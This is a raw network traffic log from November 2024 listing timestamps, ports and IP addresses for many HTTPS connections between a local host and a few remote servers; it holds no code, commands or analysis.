Nov 18, 2024 02:34:52.482600927 CET	443	49988	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.486473083 CET	49988	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.486502886 CET	443	49988	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.486927986 CET	49988	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.486934900 CET	443	49988	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.512384892 CET	443	49989	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.518357992 CET	49989	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.518392086 CET	443	49989	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.519062042 CET	49989	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.519068956 CET	443	49989	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.576812029 CET	443	49990	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.577267885 CET	49990	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.577301979 CET	443	49990	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.577874899 CET	49990	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.577884912 CET	443	49990	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.606911898 CET	443	49991	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.607646942 CET	49991	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.607676983 CET	443	49991	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.608099937 CET	49991	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.608105898 CET	443	49991	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.616429090 CET	443	49988	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.616508007 CET	443	49988	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.616554976 CET	49988	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.616748095 CET	49988	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.616748095 CET	49988	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.616770029 CET	443	49988	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.616781950 CET	443	49988	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.622795105 CET	49993	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.622828960 CET	443	49993	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.622886896 CET	49993	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.623195887 CET	49993	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.623208046 CET	443	49993	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.646755934 CET	443	49989	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.646796942 CET	443	49989	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.646857023 CET	443	49989	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.646893024 CET	49989	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.646930933 CET	49989	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.649486065 CET	49989	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.649502039 CET	443	49989	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.649518967 CET	49989	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.649525881 CET	443	49989	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.654369116 CET	49994	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.654403925 CET	443	49994	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.654475927 CET	49994	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.654602051 CET	49994	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.654616117 CET	443	49994	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.707309008 CET	443	49992	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.707787037 CET	49992	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.707798004 CET	443	49992	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.708230972 CET	49992	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.708235979 CET	443	49992	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.711024046 CET	443	49990	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.711172104 CET	443	49990	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.711241007 CET	49990	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.711275101 CET	49990	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.711292028 CET	443	49990	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.711304903 CET	49990	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.711323023 CET	443	49990	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.714286089 CET	49995	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.714322090 CET	443	49995	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.714370966 CET	49995	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.714654922 CET	49995	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.714668036 CET	443	49995	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.734024048 CET	443	49991	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.734082937 CET	443	49991	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.734126091 CET	49991	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.734389067 CET	49991	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.734396935 CET	443	49991	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.734409094 CET	49991	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.734415054 CET	443	49991	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.740487099 CET	49996	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.740551949 CET	443	49996	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.740617037 CET	49996	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.740787029 CET	49996	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.740823030 CET	443	49996	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.838877916 CET	443	49992	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.838912964 CET	443	49992	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.838958025 CET	49992	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.838977098 CET	443	49992	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.839004993 CET	443	49992	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.839042902 CET	49992	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.839206934 CET	49992	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.839216948 CET	443	49992	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.839230061 CET	49992	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.839236021 CET	443	49992	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.841532946 CET	49997	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.841551065 CET	443	49997	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:52.841612101 CET	49997	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.841756105 CET	49997	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:52.841769934 CET	443	49997	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.293361902 CET	49880	443	192.168.2.6	142.250.184.228
Nov 18, 2024 02:34:53.293390036 CET	443	49880	142.250.184.228	192.168.2.6
Nov 18, 2024 02:34:53.372396946 CET	443	49993	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.372945070 CET	49993	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.372967958 CET	443	49993	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.373358011 CET	49993	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.373363018 CET	443	49993	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.382194042 CET	443	49994	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.382546902 CET	49994	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.382576942 CET	443	49994	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.383270025 CET	49994	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.383275986 CET	443	49994	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.458616018 CET	443	49995	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.459079027 CET	49995	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.459094048 CET	443	49995	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.459532976 CET	49995	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.459541082 CET	443	49995	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.477360010 CET	443	49996	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.477756023 CET	49996	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.477835894 CET	443	49996	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.478188038 CET	49996	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.478200912 CET	443	49996	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.502624035 CET	443	49993	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.502784967 CET	443	49993	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.502911091 CET	49993	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.502950907 CET	49993	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.502950907 CET	49993	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.502971888 CET	443	49993	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.502984047 CET	443	49993	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.505628109 CET	49998	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.505686998 CET	443	49998	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.505781889 CET	49998	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.505954027 CET	49998	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.505984068 CET	443	49998	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.510534048 CET	443	49994	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.510706902 CET	443	49994	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.510773897 CET	49994	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.510801077 CET	49994	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.510819912 CET	443	49994	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.510833025 CET	49994	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.510839939 CET	443	49994	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.512788057 CET	49999	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.512821913 CET	443	49999	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.512885094 CET	49999	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.513027906 CET	49999	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.513044119 CET	443	49999	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.578757048 CET	443	49997	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.579390049 CET	49997	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.579400063 CET	443	49997	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.579840899 CET	49997	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.579847097 CET	443	49997	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.588505983 CET	443	49995	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.588568926 CET	443	49995	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.588670015 CET	443	49995	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.588711023 CET	49995	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.588821888 CET	49995	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.588973045 CET	49995	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.588973045 CET	49995	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.588995934 CET	443	49995	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.589008093 CET	443	49995	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.592153072 CET	50000	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.592181921 CET	443	50000	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.592581987 CET	50000	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.592581987 CET	50000	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.592616081 CET	443	50000	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.605648994 CET	443	49996	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.606872082 CET	443	49996	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.606941938 CET	49996	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.606987953 CET	49996	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.607011080 CET	443	49996	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.607044935 CET	49996	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.607058048 CET	443	49996	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.609075069 CET	50001	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.609102011 CET	443	50001	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.609174013 CET	50001	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.609297037 CET	50001	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.609313965 CET	443	50001	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.709602118 CET	443	49997	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.709625006 CET	443	49997	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.709673882 CET	443	49997	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.709713936 CET	49997	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.709778070 CET	49997	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.710014105 CET	49997	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.710026026 CET	443	49997	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.710037947 CET	49997	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.710048914 CET	443	49997	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.713110924 CET	50002	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.713145971 CET	443	50002	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:53.713289022 CET	50002	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.713439941 CET	50002	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:53.713458061 CET	443	50002	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.242172956 CET	443	49998	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.242685080 CET	49998	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.242719889 CET	443	49998	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.243278980 CET	49998	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.243284941 CET	443	49998	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.257703066 CET	443	49999	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.258250952 CET	49999	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.258266926 CET	443	49999	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.258744955 CET	49999	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.258750916 CET	443	49999	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.353192091 CET	443	50001	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.353856087 CET	50001	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.353877068 CET	443	50001	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.354577065 CET	50001	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.354585886 CET	443	50001	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.370446920 CET	443	49998	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.370579004 CET	443	49998	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.370673895 CET	49998	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.370871067 CET	49998	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.370913982 CET	443	49998	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.370929956 CET	49998	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.370944023 CET	443	49998	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.373095989 CET	443	50000	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.373473883 CET	50000	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.373490095 CET	443	50000	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.373879910 CET	50000	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.373887062 CET	443	50000	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.374166965 CET	50003	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.374212980 CET	443	50003	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.374275923 CET	50003	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.374393940 CET	50003	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.374408007 CET	443	50003	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.400182009 CET	443	49999	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.400306940 CET	443	49999	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.400707006 CET	49999	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.400707006 CET	49999	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.400707006 CET	49999	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.403093100 CET	50004	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.403120995 CET	443	50004	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.403214931 CET	50004	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.403338909 CET	50004	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.403348923 CET	443	50004	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.438043118 CET	443	50002	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.438461065 CET	50002	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.438486099 CET	443	50002	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.438997030 CET	50002	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.439003944 CET	443	50002	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.483772993 CET	443	50001	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.483804941 CET	443	50001	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.483856916 CET	50001	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.483871937 CET	443	50001	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.483886957 CET	443	50001	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.483928919 CET	50001	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.484049082 CET	50001	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.484064102 CET	443	50001	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.484078884 CET	50001	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.484087944 CET	443	50001	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.486797094 CET	50005	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.486869097 CET	443	50005	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.486973047 CET	50005	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.487121105 CET	50005	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.487155914 CET	443	50005	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.503550053 CET	443	50000	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.503698111 CET	443	50000	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.503776073 CET	50000	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.503926039 CET	50000	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.503942013 CET	443	50000	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.503957033 CET	50000	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.503962994 CET	443	50000	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.506570101 CET	50006	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.506597996 CET	443	50006	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.506671906 CET	50006	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.506827116 CET	50006	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.506850958 CET	443	50006	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.565561056 CET	443	50002	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.565607071 CET	443	50002	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.565723896 CET	50002	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.565866947 CET	50002	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.565881968 CET	443	50002	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.565903902 CET	50002	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.565910101 CET	443	50002	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.568892002 CET	50007	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.568917990 CET	443	50007	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.569004059 CET	50007	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.569159031 CET	50007	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.569185019 CET	443	50007	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.713059902 CET	49999	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:54.713102102 CET	443	49999	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:54.815088034 CET	50008	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:54.815124989 CET	443	50008	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:54.815222025 CET	50008	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:54.815958023 CET	50008	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:54.815975904 CET	443	50008	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:55.124281883 CET	443	50003	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.153328896 CET	443	50004	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.166151047 CET	50003	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.169056892 CET	50003	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.169064045 CET	443	50003	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.171365976 CET	50003	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.171372890 CET	443	50003	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.171772957 CET	50004	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.171811104 CET	443	50004	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.172291994 CET	50004	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.172307014 CET	443	50004	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.238996029 CET	443	50005	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.239401102 CET	50005	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.239468098 CET	443	50005	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.239948034 CET	50005	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.239962101 CET	443	50005	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.252552032 CET	443	50006	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.252959013 CET	50006	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.252984047 CET	443	50006	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.253370047 CET	50006	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.253384113 CET	443	50006	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.298813105 CET	443	50004	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.298904896 CET	443	50004	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.298954964 CET	50004	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.299036026 CET	443	50003	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.299083948 CET	443	50003	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.299129963 CET	50003	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.299144030 CET	443	50003	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.299159050 CET	443	50003	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.299164057 CET	50004	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.299194098 CET	443	50004	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.299256086 CET	50003	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.299382925 CET	50003	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.299382925 CET	50003	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.299398899 CET	443	50003	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.299403906 CET	443	50003	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.303020954 CET	50009	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.303091049 CET	443	50009	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.303165913 CET	50009	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.303313971 CET	50010	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.303350925 CET	50009	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.303366899 CET	443	50009	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.303366899 CET	443	50010	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.303431988 CET	50010	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.303531885 CET	50010	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.303553104 CET	443	50010	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.328006983 CET	443	50007	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.328558922 CET	50007	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.328587055 CET	443	50007	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.329147100 CET	50007	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.329159021 CET	443	50007	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.371248960 CET	443	50005	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.371288061 CET	443	50005	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.371347904 CET	50005	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.371375084 CET	443	50005	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.371404886 CET	443	50005	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.371475935 CET	50005	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.371620893 CET	50005	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.371656895 CET	443	50005	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.371681929 CET	50005	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.371696949 CET	443	50005	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.374666929 CET	50011	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.374716043 CET	443	50011	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.374787092 CET	50011	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.374960899 CET	50011	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.374989986 CET	443	50011	13.107.246.45	192.168.2.6
